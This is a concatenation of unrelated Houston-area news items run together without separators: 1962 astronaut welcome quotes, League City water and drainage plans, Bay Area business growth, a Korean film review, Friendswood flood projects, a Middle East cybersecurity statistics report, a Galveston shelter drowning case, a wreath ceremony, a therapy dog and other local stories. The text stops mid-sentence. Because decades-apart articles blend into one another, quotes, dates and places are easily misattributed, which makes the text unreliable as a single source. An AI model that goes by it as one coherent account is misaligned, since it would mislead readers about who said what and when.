Thomas arrived Tuesday night to participate in the celebration. Said the vice-president: "On this great national holiday, I am happy to add my greetings to the warm welcome Houston is extending to our astronauts and the personnel of the manned spacecraft center. It is a proud day for Houston, for Texas and the nation and we look forward to many proud days ahead as these men and their colleagues reach for the stars." Rep. Albert Thomas, who as Houston's senior congressman was influential in having the spacecraft center located here, said: "All the people of Harris County welcome the astronauts and spacecraft personnel and their families as neighbors and friends. Our civic facilities, schools, churches, our good wishes and our helping hands are extended." Rep. Bob Casey, who as a member of the Houston committee on space worked for location of the center in Houston: "I join with the people of Harris County in extending warm and hearty welcome to our newest Texans All of (them) have earned our admiration and respect for brilliance of achievement. We offer our friendship and hospitality. "Houston and the Gulf Coast will be enriched by (their) presence." Said Sen. Yarborough: "The astronauts and the fine manned spacecraft center personnel bring honor and credit to Texas by their presence, and will bring glory top the nation by their achievements. It is fitting that on this Independence Day as we look back in tribute to our common American heritage, that we also look forward in tribute to this vanguard of mankind's quest for knowledge. Just as men of vision like the late Jesse H. Jones (publisher of The Chronicle, statesman and financier) brought the Gulf Coast inland by creating a Ship Channel and the fabulous Port of Houston, so shall the bold and practical visionaries of the space age bring the moon and the planets within our reach." Sen. Tower, who will speak at 7:45 tonight at the Junior Chamber of Commerce Independence Day rally in Hermann Park: "My congratulations to the astronaut team and members of their families of their good fortune in having their headquarters newly assigned to the NASA center in Houston. My congratulations to Houston on its new community responsibility and opportunity to welcome this history making group of resourceful and most capable conquerors of space. "I am looking forward to the years ahead and expect the scientific and technical accomplishments resulting from this fortunate combination of city and team to bring increased prestige and influence to the United States as free world leader." Water wanted and unwanted is a primary focus for fast-growing League City. As the city of 108,000 expects to double in size in 25 years, city officials are seeking to ensure enough water to meet growth demands and at the same time address drainage infrastructure needs in the aftermath of Hurricane Harvey flooding. When I came here 45 years ago, the population was around 5,000 people, Mayor Pat Hallisey said. As the largest city in Galveston County, League City is experiencing a home-building rate at from 800-1,000 new houses coming on line each year, along with just over 500 new businesses opening over the last two years, according to the mayor. Hallisey said the growth spurt is no surprise. We are the product of growth in Houston, plus were close to water, the lifestyles good, and were halfway between Houston and Galveston, he said. So,its a good area. City officials are working with the city of Houston to bring more water to the city to ensure its needs are met as more people move in. Pipeline upgrade The plan includes an extension and upgrade of the pipeline that brings water to the city from the Southeast Water Purification Plant in Pasadena. League Citys portion of the project will run $100 million to $120 million, which will be paid through the sale of bonds over the next 20-30 years. The pipelines have got to be upgraded to carry the amount of water we need. The new pipeline will replace the old one; so were starting from scratch, Hallisey said. Water rate have gone up twice in the past six years, the mayor said. The current rates, with a base charge of $7.13, start at $1.50 per 1,000 gallons for from 1,000-3,000 gallons usage. The usage charge per 1,000 gallons is $5.50 for 4,000-10,000 gallons; $7 for 11,000 to 25,000 gallons and $8.50 for 26,000 gallons and up. Sewer rates have a base charge of $13.88, with charges per 1,000 gallons starting at $1.80 for 1,000-3,000 gallons usage and $4.62 for 4,000 gallons and up. Sewer cost is capped at $51.62 for residential accounts. Our water system is a self-sustaining enterprise in that people pay for what they use; so we want to do small, incremental increases over time, Hallisey said, adding its not always easy to make citizens understand the need to increase fees. Even the small, incremental increases get peoples attention and they dont care for it, but the answer to that is were trying to prepare for the future, he said. Neighborhood drainage ideas The city also is focusing on drainage needs. After Hurricane Harvey, the city took a hard look at its water drainage systems, hiring several engineering firms to conduct six drainage studies. Since the studies completion, several town hall meetings have been held to inform residents of the results, including suggested solutions to prevent future flooding in neighborhoods such as Brittany Bay, Cedar Landing, Clear Creek Meadows, Clear Creek Heights, Country Side, Ellis Landing, Hidden Oaks, The Meadows, Newport, Rustic Oaks, The Landing; Oaks of Clear Creek, Greter Bay Colony Area and Dove Meadows. The town hall presentations and analysis of problems and potential solutions for the region and in each neighborhood can be viewed on the citys website at https://bit.ly/2EFb8za. Hallisey said the city is not planning on increasing the property tax rate of 53 cents per every $100 valuation even when it comes to paying for drainage improvements, road construction or a new library on the citys west side. Instead, city officials are aiming to increase revenue by upping the sales tax from 8 percent to 8.25 percent and hoping to grow the sales tax base through new hotels, more medical facilities and possibly construction of a new convention center. Strides are already being made with the addition of the University of Texas Medical Branchs emergency room facility and future plans for a 3.2-million square foot hospital complex, MD Andersons new four-story medical building, and Memorial Hermanns new Convenient Care Center. Whats more, Hallisey said a bill passed during the latest Texas legislative session paved the way for League City to collect the states portion of the sales tax from hotels and motels should it build a convention center. That portion of the sales tax is something the city has never collected before. So now were seriously considering (building a convention center) at this point, he said. With no stop in sight to his citys growth, Hallisey said he and other city officials will have much work ahead to ensure city services stay current. Were trying to make life better through drainage and road improvements and trying to open up new sources of revenue to pay for it, he said. The Bay Areas growing population and favorable customer demographics led to major business developments in 2018 and plans for others.. Among new businesses was a Costco that opened in Webster, causing a ripple effect among area businesses even before it opened. Also drawing widespread interest was University of Texas Medical Branch at Galvestons 15-year lease to take control of a Webster hospital that abruptly closed in May due to financial concerns. A longtime focus on establishing the Houston Spaceport at Ellington Airport took steps forward, with Houstons City Council approving more than $18.8 million to develop infrastructure for the project to attract aerospace companies that can invent, develop and manufacture space technologies. Costco in Webster A city of Webster official has predicted that a Costco that opened in October at 1310 Jasmine in Webster near Interstate 45 will draw about 1 million retail shoppers annually. The 150,000-square-foot store on the southbound side of Interstate 45 is the ninth store by the company to come to the Houston area. This is one of the biggest retail projects in our citys history, Betsy Giusto, the city of Websters economic development director, proclaimed before the store opened. The store will be the regions go-to destination for just about anything residents and businesses need and want, Giusto said in making her prediction for 1 million shoppers to the location each year. She said shoppers would travel to Webster from many area communities, including Galveston, downtown Houston, Alvin, Friendswood, Pasadena and Texas City. In a ripple effect, Walmart and H-E-B on FM 646 did renovations expansive enough to warrant ribbon-cutting events. As they say, a rising tide lifts all boats, said Steve Paterson, president and CEO of the League City Regional Chamber of Commerce. UTMB hospital planned UTMB Clear Lake Campus Hospital conducted job fairs in November to staff its new campus on the site of the former Bay Area Regional Medical Center, a 191-bed hospital in Webster that suddenly closed in May, causing 900 employees to lose their jobs. The UTMB hospital is expected to open in the spring. At a series of job fairs, UTMB sought to recruit staff members including former Bay Area Regional Medical Center workers and new nursing graduates. The hospital system expects to pay an estimated $210 million over the course of the lease for the hospital. UTMB negotiated the lease directly with Carter Validus Mission Critical, a Florida-based real estate investment management company that in 2014 acquired a 60 percent interest in Bay Area Regional Medical Center and will continue to own the building. The Bay Area Regional Medical Center hospital closed May 4 after opening four years earlier and spending $200 million in construction and operation. CEO Stephen K. Jones Jr. told employees in an email provided to the Houston Chronicle that the company was not able to overcome significant hurdles with managed-care companies. Former employees of Bay Area Regional Medical Center have a class action lawsuit pending against the former hospital. Spaceport plans Houston City Council in October approved more than $18.8 million for the Houston Spaceport at Ellington Airport to begin developing streets, water, wastewater, electrical power distribution facilities and other infrastructure for a facility that The work will set the stage to attract aerospace companies that can invent, develop and manufacture space technologies. Clear Lake-based Intuitive Machines so far is the only business to open a location at the spaceports Houston Aerospace Support Center. After the Houston Spaceport narrowly lost out in 2017 to Huntsville, Ala. on landing a rocket engine manufacturing facility, the Spaceport entered talks with San Jacinto College to open a location to create a pipeline of talent for future companies. City Council will consider adding a proposed Ellington Bypass near the airport the citys transportation plan. Proponents of the project such as District E City Councilman Dave Martin believe it would improve access to the future spaceport and that its inclusion in the transportation plan would thwart potential development of a facility for oil storage tanks. The proposed road would extend from Texas 3 to Interstate 45 and be north of FM 2351. Marketplace at Ninety-Six League City Mayor Pat Hallisey is touting plans for the Marketplace at Ninety-Six, a $40 million 38-acre retail project under construction that will include office buildings, a 14,820-square foot pharmacy, 63,626 square feet of retail development and 66,000 square feet of business offices. The planned anchor for the NewQuest properties development will be a 123,000-square foot Kroger store. Im excited to have four years to try to get this almost to fruition, so that people of this community can reap the benefits of it, he said. We are currently leasing and building Phase 2, which is the land south of League City Parkway, NewQuest spokeswoman Rebecca Le said. The build out will include more than 208,000 square feet of space to be leased to retailers and as offices. Already signed are Dollar Tree, Ace Hardware and Banfield Pet Hospital, Le said. This center is centered around existing residential communities and we are able to provide their daily needs without residents needing to get on Interstate 45, she said. The estimated completion date for the second phase is the first quarter of 2020. West University Place Police Department / West University Place Police Department The West University Place Police Department is seeking the public's help in finding objects allegedly left somewhere within the city. According to a news release, at 3:38 a.m. Wednesday, Dec. 19, "a suspect attempted to evade officers in the 5900 block of Kirby. Officers were able to apprehend the suspect about 10 minutes later. Prior to apprehension the suspect was observed wearing a hooded sweatshirt and a backpack." Devin Sanders, program coordinator for Amaanah Refugee Services, lauded a recent initiative by Lone Star College-CyFair professors and students to place mini libraries at four Houston ISD schools. Working as a service provider within the school districts in Houston has allowed me to see the need for more books for our students, Sanders said. These mini-libraries will provide our students with the opportunity to read and have access to books at any time. The mini libraries were built by 13 LSC-CyFair students as part of a service learning project. The four mini libraries, filled with books, were placed at Walnut Bend Elementary, Las Americas Middle, Jane Long Elementary and Paul Revere Middle schools this fall. The projects goal was to directly impact refugee and low-income communities. Professors Shamim Arastu and Valerie Jefferson, along with their classes, collaborated with Amaanah Refugee Services a nonprofit organization for the integration of post-resettlement refugees to complete the project and place the libraries. Arastu said the project was a product of the learning community, Finding Me, which serves as a combination of the first-year experience and introduction to the teaching profession courses. We geared it toward working with at-risk population and weve previously partnered with Amaanah in different arenas, Arastu said. When we talked to Amaanah they had told us there are several schools that have libraries but the access is minimal because of funding and librarians and things like that. During their research, LSC students found that some grade-school students in the Houston area who are learning the English language are not able to further their development of English literacy due to lack of access to libraries. Along with the libraries, LSC students created STEM activities and information handouts for the HISD students. Jefferson said the project is beneficial to LSC students in the Finding Me learning community because they are learning to contribute to the local community. Because its a learning community, they had not only the learning experience, but they also go out to the community and provide service, Jefferson said. Most students take for granted that we have libraries in our elementary schools but a lot of these students where we did this have limited access, or none at all. In the future, LSC-CyFair students plan to continue contributing to the libraries by donating more books and hosting a book drive, with one section of a college course dedicated to helping maintain the libraries, Jefferson said. Lindsey Hurst, a student who contributed to the literacy project, said being able to impact the community was a revelatory experience. Theres a lot of people that dont have as many advantages as we did growing up, regarding the library, she said. To see the faces and then filling the libraries books was a really neat experience. It was just overall really cool to see them excited to have the mini library. South Koreas fascinating Swing Kids is such a dizzying, anachronistic mash-up of genres and cultures -- tap-dancing musical, violent war movie, social-justice drama, and slapstick comedy with music from David Bowie, The Beatles and swing king Louis Prima -- that it deserves respect, even if it falls short as it strains to cover all these bases. Set during the Korean War at an American-run POW camp for North Koreans, Swing Kids -- based on the Korean musical Rho Ki-soo -- offers something unusual on screens on this side of the Pacific: the war as seen through Korean eyes. That perspective proves enlightening for any American whose idea of the Korean War is shaped primarily by M*A*S*H. Jared Grimes is Jackson, a homesick African-American soldier stationed at the camp who had tap danced on Broadway and just wants to reunite with his Japanese girlfriend in Okinawa. In order to boost the camps morale, he is ordered to enlist some of the prisoners to put on a Christmas show. Hes left with the outcasts to whip into shape: an overweight Chinese man with a heart condition (Kim Min-Ho), a young woman who lost her family in the war (Park Hye-su), an older man (Oh Jung-se), and, most surprisingly, heroic North Korean soldier Rho Ki-soo (Doh Kyung-soo from the K-pop band Exo), who has inexplicably developed a fascination with tap, even if its symbolic of what he feels is a depraved Western culture. But just when you think Swing Kids, playing at AMC Studio 30 in Houston, is going to be Footloose behind barbed wire and that love of some good old-fashioned hoofing will conquer all, it turns surprisingly dark, depressing and bloody during its second hour. Footloose doesnt have burning bodies, head shots, or a woman being stoned. Neither does it have a black man who feels isolated from both his racist white American brethren and his sometimes equally anti-black Korean charges or a North Korean trying to reconcile his communist beliefs with his gotta-dance heart. Director Kang Hyoung-Chul, working from a script co-written with Jang Woo-sang, often loses his battle to cram so many movies into one. As its billed as a musical, theres not enough singing and dancing, though the finale shines. The broad comedy sometimes is forced and unfunny (or simply doesnt translate) and the machinations of the conniving American officers, their rebellious, vengeful North Korean prisoners and the South Koreans in the middle could be from another movie entirely. But when Doh Kyung-soo and Park Hye-su leap with abandon to Bowies Modern Love or Kyung-soo and Grimes have a tap-off that feels like a cool tip of the hat to Mikhail Baryshnikov and Gregory Hines in the 1985 film White Nights, Swing Kids really does live up to its title. cary.darling@chron.com While hardships caused by Hurricane Harvey still cast a long shadow in Friendswood in 2018, the city experienced landmark events that included election of a former astronaut as mayor, a decision to pursue a new way to cover emergency medical services costs and approval of an ambitious plan to revitalize downtown Friendswood. Moves to address flood risks Local, state and federal authorities authorized the start of flood mitigation projects after Harveys devastation, including federal approval in July of a $295 million, decades-old plan by the U.S. Army Corps of Engineers to work on Clear Creek. Federal help with flooding had long been the goal of Harold Whitaker, a former Friendswood mayor who was re-elected to Galveston County Consolidated Drainage District in May. This would help with Friendswood flooding tremendously, he said before the election. When work is complete, the banks of the creek will be widened to increase water flow capacity for 15 miles from Dixie Farm Road to Texas 288, along with straightening of some bends and widening of banks on tributaries of the main creek. The work will allow water to move downstream, from west to east, faster and reduce pooling during heavy rains that could overflow into nearby communities, said Shakhar Misir, project manager for the Clear Creek plan in the Southwest Division of the U.S. Army Corps of Engineers. Work will serve residents and property owners in Friendswood and Pearland, as well as communities downstream, he said. A $3 million flood control project by the local drainage district that began in May has provided millions of gallons in additional water detention capacity at three sites along Clear Creek, Mayor Mike Foreman said in his Mayor Mikes Minute Youtube video report. The city is chipping in $1 million for the work, which aims to reduce the risk of flooding in homes. No to a carousel Since being elected mayor in May after serving on City Council, Foreman has guided the city through heated debates including one over a proposal for a multimillion-dollar carousel project in Stevenson Park which was ultimately withdrawn in October. Brett Banfield, president of the Friends of Downtown Friendswood Association, dropped the initiative after describing it as divisive. The issue had been a subject of lively discussion in in the citys elections. The association envisioned that a carousel with hand-painted horses could be donated to the city to serve as an attraction and source of pleasure for generations. But opponents criticizing the concept and worrying that there was no clear plan to cover upkeep costs. Another hot topic for much of the year was the citys search for a way to fund its EMS service, which has not charged residents for calls and has fallen short of covering expenses through tax revenue and donations. Officials unveiled a plan to permanently fund the service starting in 2019 by billing patients health insurance companies for calls. The city estimates that insurance payments will bring in anywhere from $500,000 to $1 million annually based on previous service levels. The EMS arm of Friendswood Volunteer Fire Department costs the city around $2 million per year to operate. Friendswood City Council also approved an expansive plan to turn downtown Friendswood into a business and activity hub. The council on Oct. 1 unanimously approved the final draft of the Downtown District Improvement Plan, which covers cost projections and improvement projects that would be implemented over several years. Preliminary cost estimates include from $35,000 to $85,000 to develop bike routes and from $750,000 to $1 million for intersection improvements. jjones@chron.com About 94 per cent of companies in the Middle East suffered cyberattacks in 2017, critically putting to test the readiness of organisations against persistent threats. The geopolitical situation in the region makes the Middle East a prime region for cyberattacks. Most of the attacks recorded were made on critical infrastructure sectors such as oil and gas, compelling regional governments to go the extra mile putting in place policies to protect their interests and that of the business community. The disclosure was made in a report commissioned by International Quality and Productivity Centre (IQPC), a global events company that among others is organising the CyberSec & DataSec Week Middle East in Dubai in February next year. According to a new study by Gartner, the GCC countries are spending 66 per cent more than the global average for every data breach the average cost worldwide is $2.1 million compared to $3.5 million spent by GCC nations. The extent of the threats should make governments concerned, remarked analyst Sevag Papazian, a Principal with Strategy& in Dubai. Governments in the region have to act quickly in establishing foundational capabilities across all critical information infrastructure organisations. National governance models must be enacted to make sure efforts are co-ordinated across various agencies, he said. However, Papazian agreed that the task is just too big for governments to take on alone, and suggests that partnerships be struck with the private-sector so that a successful cybersecurity strategy is delivered. The statistics are staggering. Last year, more than 300 cyberattacks were recorded and about half a dozen of these were data breaches, he stated citing a recent study. The Gartner study further showed that 58 per cent of organisations had suffered public scrutiny due to a breach; while 34 per cent of these breaches resulted in more than half of a companys systems being impacted. In comparison to Europe, GCC nations take 260 days on average to identify and contain a data breach against an average of 138 days in Europe, stated the report. All this is cost! According to a recent study sponsored by IBM security, the average total cost of a data breach in Saudi Arabia and the UAE combined is $5.31 million. Thats a 7.1 per cent increase since 2017, while the global average was only $3.86 million. This puts the Middle East second only to the US, where the average cost of a breach was $7.91 million. The Gartner study suggest that investments in this area are forecasted to reach $1.9 billion next year, an increase of 9.8 per cent over 2018. "However, what is even worrying is that there are companies who are yet to realise that they have been attacked," said John Chambers, former CEO, Cisco. "There are two types of companies: those who have been hacked, and those who dont yet know they have been hacked," he stated. All this onslaught had led to 46 per cent of Middle East and African (MEA) companies suffering from cyber fatigue, while 25 per cent of companies said lack of security personnel was a big obstacle. According to Entrepreneur Middle East, companies can take several approaches to mitigate cybercrimes. These include: Securing of hardware by safeguarding user password and ensuring it is not shared or written down anywhere. Another effective way is the use of desktops, which are safer than laptops. Encrypting of all data, employee information and business information. This step is extremely important in operating systems and the timely updating of the software used. It is also vital that all data is stored separately and backed up. Ensuring all secured technology is backed up with insurance, due to the magnitude of the loss each attack can have. It is vital that expert advice be taken in this matter to understand the areas of impact. Another big step to mitigate cybercrimes is to update the company staff on the looming danger. "With many studies suggesting that the prime reason for cyberattacks is the lack of awareness among employees, a security-focused culture needs to be created," said the expert. "Educate staff on the danger of using unsecured networks, such as the ones at airports and cafes as well as accessing unsecured websites which is a breeding ground for hackers," he stated. Additional strategies include restricting network admin rights; usage of effective firewall and anti-virus tools; and a foolproof cyber security strategy, he added.-TradeArabia News Service A state commission is seeking to revoke the operating permit of a Galveston children's shelter after two boys in its care drowned in October. The Texas Health and Human Services Commission is pursuing revocation of the permit for the Galveston Multicultural Institute, saying the program "poses an immediate threat or danger to the health and safety of children." On Oct. 14, two boys, Nicholas Garner, 16, and Noah Authement, 11, drowned during a beach field trip supervised by the institute. "After the Oct. 14 drowning incident, our inspectors found numerous and repeated deficiencies in meeting state standards in many areas including training and hiring staff, conducting background checks and maintaining records," said John Reynolds, a spokesman for the commission. The institute is a program developed by the Texas Department of Family and Protective Services and run by The Children's Center, a Galveston nonprofit, that provides emergency shelter to children and youth who are in the custody of Child Protective Services and need temporary care while waiting to return home or be placed permanently. The multicultural institute serves boys and girls ages 5 to 17. The institute has asked for an administrative review of the state agency's decision. The Department of Family and Protective Services' residential child care licensing division is also investigating the incident. The Children's Center will remain operational regardless of whether the multicultural institute is ultimately shut down. Vivian Putney, the chief financial officer for human resources at the Children's Center, declined to say whether the Galveston Multicultural Institute is still operational, saying the nonprofit has been barred by the state from making any public comments. "The only thing I can say at this time is that the investigation has not been completed and we have filed for an administrative review and we've not received our date for that as of yet," Putney said. Garner and Authement were on a field trip when they drowned in the Gulf of Mexico on Oct. 14 close to a beach near 17th Street and Seawall Boulevard. After Authement got caught in the choppy surf, Garner dived in to try to rescue him. A bystander called police that evening to report that Authement and a friend were caught in the rip current, authorities said. The friend managed to swim ashore. Garner and Authement were not wearing bathing suits when they entered the water. Authement was wearing grey sweatpants with no shirt, while Garner had on blue jeans and no shirt. On Oct. 16 Authement's body was recovered two miles offshore from 9 Mile Road and FM 3005 near Galveston's West End. Garner's body has not been recovered. Authement was in state custody at the time of his death. A letter written by Amber Krause, director of residential licensing for the state Health and Human Services Commission, to Vivian Putney, the chief financial officer for human resources at the Children's Center, details alleged oversights by those charged with supervising the children at the beach. According to Krause, institute staff "failed to determine if a water activity was safe that day," and either ignored or were ignorant of the "red flag warnings" that indicated dangerous tides and currents. Institute staff divided the group of children into one group with boys and another with girls, with each group swimming at different locations. While the girls were swimming in the Gulf, a large wave came in and pulled multiple girls underwater. The HHCSC said the girls were at "serious medical risk" following near-drowning experiences and did not receive timely medical care until they exhibited severe symptoms of "dry drowning." At around the same time, at the other location, Authement was swept into the Gulf current, prompting Garner to swim after him. Both later drowned. The drowning and near-drowning incidents were grounds for revoking the multicultural institute's operating permit, the agency said. Krause also detailed previous incidents in which the multicultural institute was cited "for issues related to training and hiring staff, background checks, and maintaining records" that could have prevented the drowning. An October inspection found that multiple staffers were not trained for water safety. A September inspection also noted that the institute did not practice "severe weather drills" despite living in a hurricane zone. "In short, a properly managed and trained staff would not have made the decisions that contributed to the recent tragic incident," Krause wrote. "The cascade of poor decisions culminated in the deaths of two boys in the operation's care. Nick Powell covers Galveston County for the Chronicle. Follow him on Twitter and send him tips at nick.powell@chron.com British International School of Houston / British International School of Houston British International School of Houston has been recognized as an Apple Distinguished School for 2018-2021 for its leadership and educational excellence in technology. Apple Distinguished Schools are "centers of innovation, using technology to inspire creativity, collaboration, and critical thinking. They showcase innovative uses of iPad and Mac in learning, teaching, and the school environment and have documented results of academic accomplishment. And they cultivate environments in which students are excited and curious about learning." In three months, Noah Youngflesh of Cypress will be at Lackland Air Force Base for basic training. On Dec. 15, he joined others in placing wreaths on the graves of veterans at Magnolia Cemetery in Katy as part of the second annual Wreaths Across America ceremony. He was part of a late-entry group of recruits who volunteered to be part of the ceremony organized through Katy American Legion Post and Auxiliary 164 and Katelyn Nitsche, who belongs to Way Out West Community Girl Scouts and is working on the wreath project to earn her Gold Award. Coming from a long line of family members whove served in the military from an older brother and a cousin to grandfathers, Youngflesh said, Ive wanted to do this (serve in the military) since I was very young. Like Youngflesh, this was the first time Cole Nongbri, 9, participated in the Katy Wreaths Across America program. A member of Cub Scout Troop Pack 1182, he placed pennies on the graves of veterans as part of a longstanding tradition to indicate someone has paid their respects. His father Deven Nongbri thought it was a good thing to do this, explained Cole. It was very good, he added. Its great kids are getting to understand about all this, said Marilyn Rawls of Pearland, as Cole laid a penny on the headstone of her sons grave. We need to remember the military and understand their sacrifice, she added. Her son, Dustin Marshall Rawls, was a Katy High School graduate who served as a U.S. Marine in Iraq and lost his life in a 2007 traffic accident. It was Rawls first time to participate in the wreath ceremony at Magnolia where Scouts, firefighters, families, National Charity League members and other volunteers placed more than 400 wreaths on the graves of veterans. More Information National Wreaths Across America Day The second annual Wreaths Across America program was presented Dec. 15 at Katy Magnolia Cemetery. Members of the core team: Katelyn Nitsche, American Legion 164, & its Auxiliary, National Charity League - Katy Chapter, Lone Star Veterans Association, Navy Sea Cadets Supporting organizations: Way Out West Girl Scout Community - Katy, Cypress Boys and Girl Scouts, Taylor High School FFA, Houston Livestock and Rodeo - Houston Metro Go Texan Committee, Elks Lodge of Katy, Katy Veterans of Foreign Wars Post 9182, Katy USAF Recruiting Air Station, T.E.A.M. Send-Off, Katy Fire Station See More Collapse He was a great guy and people still honor him, said Rawls talking of her son, who was 25 when he died. He would spare no expense to make someone laugh, she added. Marking her first time to attend the wreath-laying program, Denise Lesak said, Its beautiful that this many people are coming to support this program. Theyre from all walks of life. We had well over 300 volunteers attend this year's event, said Sharon Nitsche, Katelyns mom. That is double compared to last year. She said months of planning led to the event being a huge success. Last year, wreaths were placed on 330 grave sites compared to 425 this year, plus seven ceremonial wreaths. Wreaths were presented to honor veterans in each of the six branches of the military and those who last known status was prisoner of war or missing in action. Aggressive fundraising efforts meant wreath sponsorships reached more than 600, said Nitsche. Sponsored wreaths not used this month can be used next year. This event will continue to grow and the American Legion 164 has agree to continue this event after Katelyn graduates in 2020, added Nitschke. The mission of Wreaths Across America is to Remember, Honor and Teach. Katelyn Nitsche told the mid-Saturday morning crowd that Magnolia Cemetery was among more than 1,100 sites across the country where people were gathering to honor veterans. The United States of America was founded on ideals of freedom, justice and equality, she said. The freedoms we enjoy today have not come without a price. Laying here and in cemeteries across the nation are men and women who gave their lives so that we can live in freedom and without fear. We thank those who gave their lives to keep us free and we shall not forget you. After quoting presidents George H.W. Bush and Ronald Reagan, American Legion Post 164 Commander Harry Woodstrom said, Today we show a united front of gratitude and respect across the United States as we remember the fallen, honor those who serve and teach our children the value of freedom. Joseph Thomas, commander, American Legion District 22, of Pasadena, delivered the keynote address. The ceremony concluded with a 21-gun salute and Taps. karen.zurawski@chron.com Citizens at the Brookwood Community welcomed a new furry companion this month when Demi, a trained therapy dog, moved in and became the facilitys goodwill ambassador to the greater Houston area. Demi, a 3-year-old female English Field Trial Bred Black Labrador Retriever, was all smiles as she toured the Brookwood Community on Dec. 11 making friends and cheering up those she met along the way. The Brookwood facility is a nonprofit organization about 40 miles west of Houston that serves functionally disabled residents who live on the campus full time. Jennifer Tiedt, senior marketing and development officer at Brookwood, said that in just the one week shes lived on campus, the black lab has already had an impact on the 225 resident adults living and working there. Our Citizens are so excited to welcome Demi to our Brookwood family, she said. She has already brought a sense of calming and companionship, especially to some of our adults with disabilities who may struggle with anxiety. The dog will live on the 485-acre campus full-time with her handler Greg Glauser, the communitys life director. As a facility therapy dog, Demi will be visiting with citizens, staff and guests on campus throughout the day. Healing Pause, a nonprofit organization whose mission is to provide fully trained and sponsored on-staff therapy dogs to communities in need, donated Demi to the Brookwood Community. Its founder Nathan Davila said Demi as the facilitys therapy dog was the perfect fit. Brookwood teaches not only its citizens, but all of us that: no matter who you are, inside of you lies the ability to make a difference in someone elses life, Davila said. Demi will now be a part of that legacy. Davila said therapy dogs provide a full circle of healing to those who need it. At the biological level, they help create neural pathways to deal with different traumas down to being able to help a human understand unconditional love, Davila said. At the point you can learn how God loves us and its a healing at the soul level. Being able to pause and pet, snuggle or love on her will provide a physical and mental connection for the Citizens at Brookwood, he added. Studies have shown that canine-assisted therapy for patients of all ages had a positive effect on their health and wellbeing. In one study published by the American Journal of Occupational Therapy, authors found that therapy dogs can elicited positive quality-of-life experiences in institutionalized people with dementia. Another study by PLoS One showed that child patients with leukemia had a decrease in pain, stress and depressive symptoms when they connected with a therapy dog. As Demi gets comfortable in her new environment, staff at the Brookwood Community will use her to accompany Citizens in the Meals on Wheels program and to assist in creating positive therapeutic responses in patients, Davila said. As part of the sponsorship, Demi will be fully trained through Dratchen Performance and will have all her food, grooming and medical needs met, Davila said. A woman has been charged with aggravated assault after her husband was shot during an argument in Cinco Ranch on Wednesday night, according to the Fort Bend County Sheriffs Office. Brigette Turner, 46, faces a 1st-degree felony of aggravated assault-family violence with serious bodily injury. The argument turned violent when the woman, now identified as Turner, pulled out a gun and fired at her husband, sometime before 11:30 p.m., Major Chad Norvell said. They were at a home on Sandersgate Lane at the time of the shooting. DOMESTIC VIOLENCE: Harris County offers 'safe surrender' of guns in domestic abuse cases. Why this is seen as a 'win' for anti-violence advocates at HoustonChronicle.com The husband was struck in the abdomen, and Turner drove him to the fire station. Authorities then flew the husband to the hospital, where he is in critical but stable condition. Deputies were waiting Thursday morning for a search warrant to go inside the familys house. A teenage girl was home at the time but didnt witness the shooting, Norvell said. NEWS WHEN YOU NEED IT: Text CHRON to 77453 to receive breaking news alerts by text message | Sign up for breaking news alerts delivered to your email here. John Corbeil, chief operating officer for Hospital Corporation of Americas Medical City Fort Worth will be the new CEO of Kingwood Medical Center on Jan. 14 as Melinda Stephenson retires. Stephenson joined Kingwood Medical Center back in July 2009. Corbeil has been with Medical City Fort Worth since March 2016 and has successfully led operational and business development efforts across multiple service lines. Corbeil has been with the HCA North Texas/ Medical City Healthcare Division for six years and has held several roles including Associate Chief Operating Officer at Medical City Dallas, Assistant Administrator at Medical City Fort Worth and Administrative Fellow at the HCA North Texas Division office. John is dedicated to patient care and has the ability to develop positive relationships with employees and physicians, said HCA Houston Healthcare President Troy Villarreal. He will be a valuable leader at Kingwood Medical Center, and we are happy he has decided to join us. kaila.contreras@chron.com Just as Tilman Fertitta's swanky Post Oak Hotel unveiled its luxury 20,000-square-foot The Spa at the Post Oak this week, there's another new spa opening its doors just south of Houston in Friendswood. The Bergamos Spa Retreat - a $6.5 million, 22,000-square-foot day spa - is being touted as the largest freestanding day spa Texas. It's owned by Marylyn Reed, the great-granddaughter of the late beauty and skincare mogul Mary Kay Ash. John Gray, a former associate pastor at Joel Osteen's Lakewood Church, has been in the hot seat lately for giving his wife, Aventer Gray, a $200,000 Lamborghini Urus as an eighth-year anniversary gift. In an Instagram post that went viral, Gray uploaded a video of the occasion for all the world to see and judge. Although he has since deleted it, the proof lives on in this Facebook video posted by Prove Magazine/Dear Black Men Network. The grand gesture left many people upset that a preacher would indulge in such opulence. Over the weekend, the current pastor at Greenville's Relentless Church got a reprieve from his recent troubles. During church services on Sunday, the members of his congregation showed an outpouring of support, even giving Gray an ovation when he proclaimed his love for his wife, according to Greenville News. Happy anniversary: Former Lakewood Church pastor John Gray gifts wife $200,000 Lamborghini "I think any husband wants to give his wife nice things. I've never understood this notion that Christians are supposed to be poor, even though God has promised us blessings," church member Willie J. Smith told the publication. "If a pastor has the ability to bless his wife with a great gift and doesn't do it, something is wrong," fellow Relentless Church member Tonya Bethea said. "Things like this are not common in our area, and maybe that's why so many have opinions on it, but I'm glad our pastor is blessed and glad he shows his love for his wife." Karen Cleveland pointed to scripture saying the church should "pay the pastor well." She added that the pastor's current controversy "has nothing to do with the Kingdom of God or our worship here." Gray, who previously publicly defended his pricey decision in two social media posts, including via a 23-minute Facebook Live video on Thursday, once again defended his actions. Interview: Lakewood Church's John Gray defends the wealth of high-profile pastors "I believe spiritual principles are in place for people who would intend to defraud the Kingdom of God for their own purposes," he told Greenville News on Sunday. "I have other streams of income, and I use that to bless my wife, not from (financial) sources the church provided." Those other monetary streams include a show on OWN, plus several other lucrative television projects, books, and endorsements. As Gray concluded Sunday service, he closed by saying the past week was "one of the most difficult of our lives." Marcy de Luna is a digital reporter specializing in social media, the famous, and food. You can follow her on Twitter @MarcydeLuna and Facebook @MarcydeLuna. Read her stories on our breaking news site, Chron.com, and on our subscriber site, HoustonChronicle.com. | Marcy.deLuna@chron.com | Text CHRON to 77453 to receive breaking news alerts by text message Spring Branch ISD students outperformed the Texas average score on the 2018 SAT, increasing their performance by 11 points while also making an impressive gain on the average national score. The College Board reported recently that the Spring Branch ISD Class of 2018 earned an average total score of 1048, an increase from last years 1037. The SAT measures critical reading and mathematical abilities and often is viewed as a tool to assess college preparedness and readiness. SBISDs 2018 score exceeded the Texas average of 1032 by 16 points, while also gaining ground on the national average of 1068. Its important to note that SBISD differs from many public school districts across the United States in that Spring Branch provides the full-day SAT annually to every high school junior. In many districts, the SAT is taken largely by those students who are now focusing on college or university enrollment after high school. Unlike SBISD, not every student in the nation takes this assessment. There is great cause here for celebration. I am very proud of the work of our kids and our teachers, and the work we all are doing as a school system. The SAT does not happen by accident. It takes years 